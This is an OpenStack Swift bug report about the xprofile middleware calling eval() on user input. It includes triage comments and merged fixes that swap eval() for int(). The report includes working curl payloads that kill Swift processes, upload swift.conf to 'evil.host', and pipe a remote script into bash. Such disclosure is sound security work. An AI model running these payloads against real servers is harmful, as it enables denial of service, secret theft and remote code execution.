Use of eval() on untrusted data

Bug #2091124 reported by Tim Burke
8
This bug affects 1 person
Affects Status Importance Assigned to Milestone
OpenStack Object Storage (swift)
In Progress
Critical
Unassigned
OpenStack Security Advisory
Won't Fix
Undecided
Unassigned

Bug Description

Swift's xprofile middleware runs eval() on untrusted, user-provided data. See https://opendev.org/openstack/swift/src/tag/2.34.0/swift/common/middleware/x_profile/html_viewer.py#L248

This can be used for all manner of bad things: denial of service, data/config/secret exfiltration, remote code execution...

Some examples of the bad things that can be done:

curl http://swift.host/__profile__ -d 'limit=os.kill(os.getpid(), 9)'
curl http://swift.host/__profile__ -d 'limit=os.kill(os.getppid(), 9), os.kill(os.getpid(), 9)'
curl http://swift.host/__profile__ -d 'limit=os.system("ps -u swift -o pid --no-headers | xargs kill -9")'
curl http://swift.host/__profile__ -d 'limit=os.system("curl -T /etc/swift/swift.conf http://evil.host")'
curl http://swift.host/__profile__ -d 'limit=os.system("curl http://evil.host | bash &")'

Affects swift>=2.0.0 (Juno and later). That is to say, all versions of Swift with the xprofile middleware.

Fix is simple: use int() instead of eval(). There's already sufficient error handling such that we'd instead respond with a 500 and a body like

  Error on render profiling results: invalid literal for int() with base 10: '...'

Further steps should be taken to
- document that xprofile is a development tool not intended for production,
- maybe even remove xprofile from future releases (as I'm not aware of any developers that regularly use it), and
- understand why this wasn't caught when we run bandit in the gate.

Revision history for this message
Jeremy Stanley (fungi) wrote :

Since this report concerns a possible security risk, an incomplete
security advisory task has been added while the core security
reviewers for the affected project or projects confirm the bug and
discuss the scope of any vulnerability along with potential
solutions.

Given that "xprofile is a development tool not intended for production" I'm inclined to consider this a match for class B3 in our taxonomy ("A vulnerability in experimental or debugging features not intended for production use"): https://security.openstack.org/vmt-process.html#report-taxonomy

If Swift folks and other VMT members agree with that assessment, we could just switch this to public and treat it as a normal bug with no need for a broadly-published security advisory.

description: updated
Changed in ossa:
status: New → Incomplete
Revision history for this message
clayg (clay-gerrard) wrote :

Yes! It would be great to make this issue public to raise awareness that xprofile should not be used in production systems and we can work on the fix and better docs and improvements to the bandit config using normal review workflows.

Good catch Tim!

Revision history for this message
Jay Faulkner (jason-oldos) wrote :

I think a B3 is reasonable, I might would suggest considering a C1 if we think it's possible that someone else might file a CVE just because it'll be a lot more sensible if we are the ones who file it if one gets made.

Revision history for this message
Brian Rosmaita (brian-rosmaita) wrote :

I agree with classifying this as B3 and making the bug public. Tim posted an excellent list of Next Steps in the bug description, and my hope is that by opening the bug, there will be a greater likelihood that people will work on them.

Revision history for this message
Jeremy Stanley (fungi) wrote :

I've switched this to public since it's strictly a problem in a debugging tool and there didn't seem to be anyone arguing to keep it private. The VMT will treat it as a class B3 report for now and not expect to issue an advisory publication about it (hence my Won't Fix on the advisory task), but if anyone disagrees we can revisit that decision.

description: updated
information type: Private Security → Public
Changed in ossa:
status: Incomplete → Won't Fix
tags: added: security
Revision history for this message
Matthew Oliver (matt-0) wrote :

Yeah looking at the taxonomy's we use in openstack, yeah B3 is definitely the best fit in my opinion too.

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (master)

Fix proposed to branch: master
Review: https://review.opendev.org/c/openstack/swift/+/937493

Changed in swift:
status: New → In Progress
Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/2024.2)

Fix proposed to branch: stable/2024.2
Review: https://review.opendev.org/c/openstack/swift/+/937507

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/2024.1)

Fix proposed to branch: stable/2024.1
Review: https://review.opendev.org/c/openstack/swift/+/937508

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix proposed to swift (stable/2023.2)

Fix proposed to branch: stable/2023.2
Review: https://review.opendev.org/c/openstack/swift/+/937509

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/2024.2)

Reviewed: https://review.opendev.org/c/openstack/swift/+/937507
Committed: https://opendev.org/openstack/swift/commit/cc891359c5b48f7332df194ed74c0455be797fd5
Submitter: "Zuul (22348)"
Branch: stable/2024.2

commit cc891359c5b48f7332df194ed74c0455be797fd5
Author: Tim Burke <email address hidden>
Date: Thu Dec 5 13:43:13 2024 -0800

    xprofile: Stop using eval()

    All we need is int(). Using eval() on user-provided data (or really at
    all) is a Bad Idea.

    Closes-Bug: #2091124
    Change-Id: I39bb87f9d8e27f2f88410a087a120a0e9be1a243
    (cherry picked from commit 199aa78fbe647f336fecf6d3b76d07964b841128)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/2024.1)

Reviewed: https://review.opendev.org/c/openstack/swift/+/937508
Committed: https://opendev.org/openstack/swift/commit/18b0df30b09edac73375121e478b20cd20708a85
Submitter: "Zuul (22348)"
Branch: stable/2024.1

commit 18b0df30b09edac73375121e478b20cd20708a85
Author: Tim Burke <email address hidden>
Date: Thu Dec 5 13:43:13 2024 -0800

    xprofile: Stop using eval()

    All we need is int(). Using eval() on user-provided data (or really at
    all) is a Bad Idea.

    Closes-Bug: #2091124
    Change-Id: I39bb87f9d8e27f2f88410a087a120a0e9be1a243
    (cherry picked from commit 199aa78fbe647f336fecf6d3b76d07964b841128)

Revision history for this message
OpenStack Infra (hudson-openstack) wrote : Fix merged to swift (stable/2023.2)

Reviewed: https://review.opendev.org/c/openstack/swift/+/937509
Committed: https://opendev.org/openstack/swift/commit/0236ddaef322ef371a3218aacef2026bbaf98ea9
Submitter: "Zuul (22348)"
Branch: stable/2023.2

commit 0236ddaef322ef371a3218aacef2026bbaf98ea9
Author: Tim Burke <email address hidden>
Date: Thu Dec 5 13:43:13 2024 -0800

    xprofile: Stop using eval()

    All we need is int(). Using eval() on user-provided data (or really at
    all) is a Bad Idea.

    Closes-Bug: #2091124
    Change-Id: I39bb87f9d8e27f2f88410a087a120a0e9be1a243
    (cherry picked from commit 199aa78fbe647f336fecf6d3b76d07964b841128)

To post a comment you must log in.
This report contains Public information  
Everyone can see this information.

Other bug subscribers

Remote bug watches

Bug watches keep track of this bug in other bug trackers.